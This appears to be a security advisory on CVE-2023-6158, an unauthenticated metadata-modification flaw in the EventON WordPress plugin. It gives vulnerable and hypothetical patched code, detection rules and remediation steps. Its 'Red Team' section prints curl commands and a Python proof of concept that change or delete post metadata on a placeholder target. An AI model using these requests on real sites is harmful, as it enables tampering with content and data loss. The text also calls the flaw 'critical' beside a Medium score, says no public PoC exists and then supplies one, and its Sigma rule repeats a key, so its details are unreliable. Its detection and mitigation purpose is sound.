CVE-2023-6158

Executive Summary

CVE-2023-6158 is a critical missing authorization vulnerability in the EventON - WordPress Virtual Event Calendar Plugin for WordPress. This flaw allows unauthenticated attackers to arbitrarily update or delete post metadata via the evo_eventpost_update_meta function. The vulnerability affects all versions up to and including 4.5.4 (Pro) and 2.2.7 (Free). The CVSS score is 6.5 (Medium), but the impact is significant due to the potential for content injection and data loss. No public proof-of-concept (PoC) or patch is currently available, making this a high-priority unpatched risk for WordPress sites using EventON.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The EventON plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Since no patch is available, site administrators must consider removing or disabling the plugin until a fix is released. The lack of a capability check in the evo_eventpost_update_meta function indicates a fundamental security oversight in the plugin's development lifecycle.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: High (due to unauthenticated access and lack of patch)

Deep Dive & Mechanics

The vulnerability resides in the evo_eventpost_update_meta function, which is intended to allow authorized users (e.g., event organizers) to update post metadata. However, the function lacks a capability check (e.g., current_user_can()), allowing any unauthenticated attacker to call it via a crafted HTTP request.

Attack Flow:

1. An attacker sends a POST request to the WordPress REST API or AJAX endpoint that triggers evo_eventpost_update_meta.
2. The request includes parameters such as post_id, meta_key, and meta_value.
3. The function updates or deletes the specified post metadata without verifying the user's permissions.
4. The attacker can inject arbitrary content into post metadata fields, potentially leading to stored XSS or data corruption.

Key Parameters:

• post_id: Target post ID
• meta_key: Metadata key to modify
• meta_value: New value (or empty to delete)

Impact:

• Unauthorized modification of event details, dates, or custom fields.
• Deletion of critical metadata, causing data loss.
• Content injection via metadata fields (e.g., injecting JavaScript into a field that is later rendered unsanitized).

Vulnerable vs. Patched Code

Vulnerable Code (EventON <= 4.5.4 / 2.2.7):

function evo_eventpost_update_meta() {
    // No capability check
    $post_id = $_POST['post_id'];
    $meta_key = $_POST['meta_key'];
    $meta_value = $_POST['meta_value'];
    update_post_meta($post_id, $meta_key, $meta_value);
    wp_die();
}
add_action('wp_ajax_nopriv_evo_eventpost_update_meta', 'evo_eventpost_update_meta');
add_action('wp_ajax_evo_eventpost_update_meta', 'evo_eventpost_update_meta');

Patched Code (Hypothetical):

function evo_eventpost_update_meta() {
    // Add capability check
    if (!current_user_can('edit_post', $_POST['post_id'])) {
        wp_die('Unauthorized', 403);
    }
    $post_id = $_POST['post_id'];
    $meta_key = $_POST['meta_key'];
    $meta_value = $_POST['meta_value'];
    update_post_meta($post_id, $meta_key, $meta_value);
    wp_die();
}
add_action('wp_ajax_evo_eventpost_update_meta', 'evo_eventpost_update_meta');

Note: The wp_ajax_nopriv_ hook allows unauthenticated access. The patched version should remove this hook and add proper nonce verification.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target WordPress site with EventON plugin installed (vulnerable version).
• No authentication required.

Exploit Steps:

1. Identify a target post ID (e.g., via sitemap or enumeration).
2. Send a POST request to the WordPress AJAX endpoint:

   curl -X POST https://target.com/wp-admin/admin-ajax.php \
     -d "action=evo_eventpost_update_meta&post_id=123&meta_key=_custom_field&meta_value=injected_content"
   

3. To delete metadata, omit meta_value or set it to empty:

   curl -X POST https://target.com/wp-admin/admin-ajax.php \
     -d "action=evo_eventpost_update_meta&post_id=123&meta_key=_custom_field"
   

Proof-of-Concept (Python):

import requests

target = "https://target.com/wp-admin/admin-ajax.php"
data = {
    "action": "evo_eventpost_update_meta",
    "post_id": "123",
    "meta_key": "_event_date",
    "meta_value": "2025-01-01"
}
response = requests.post(target, data=data)
print(response.status_code)

Blue Team (Detection & Response)

Detection Steps:

1. Monitor for POST requests to /wp-admin/admin-ajax.php with action=evo_eventpost_update_meta.
2. Check for unusual metadata changes in the wp_postmeta table.
3. Review server logs for unauthorized access attempts.

Response:

• Immediately disable the EventON plugin.
• Restore affected post metadata from backups.
• Implement Web Application Firewall (WAF) rules to block the vulnerable endpoint.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin-ajax.php with action=evo_eventpost_update_meta.
  • Unusual meta_key or meta_value parameters in HTTP requests.
• Host:
  • Modified entries in wp_postmeta table without corresponding user activity.
  • Unexpected JavaScript or HTML in metadata fields.
• Logs:
  • Repeated 200 responses to unauthenticated AJAX requests.
  • Error logs showing update_post_meta calls from unknown IPs.

Detection Engineering

YARA Rule

rule Detect_EventON_Meta_Exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2023-6158 via HTTP POST requests"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-6158"
    strings:
        $action = "evo_eventpost_update_meta"
        $post_id = "post_id"
        $meta_key = "meta_key"
    condition:
        all of them
}

Sigma Rule

title: EventON Unauthenticated Metadata Modification
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation of CVE-2023-6158 via AJAX requests
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=evo_eventpost_update_meta'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-6158 EventON Unauthenticated Metadata Modification"; flow:to_server; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=evo_eventpost_update_meta"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the EventON plugin until a patch is released.
2. Implement a WAF rule to block requests containing action=evo_eventpost_update_meta.
3. Audit post metadata for unauthorized changes and restore from backups if needed.

Long-term Fixes:

• Monitor the EventON plugin repository for a security update.
• Consider switching to an alternative event calendar plugin with active security maintenance.
• Apply the principle of least privilege to all WordPress AJAX handlers.

Workaround:

• Add a custom function to your theme's functions.php to block the vulnerable endpoint:

  add_action('init', function() {
      if (isset($_POST['action']) && $_POST['action'] === 'evo_eventpost_update_meta') {
          wp_die('Blocked', 403);
      }
  });
  

Valters IT
Securing WordPress Ecosystems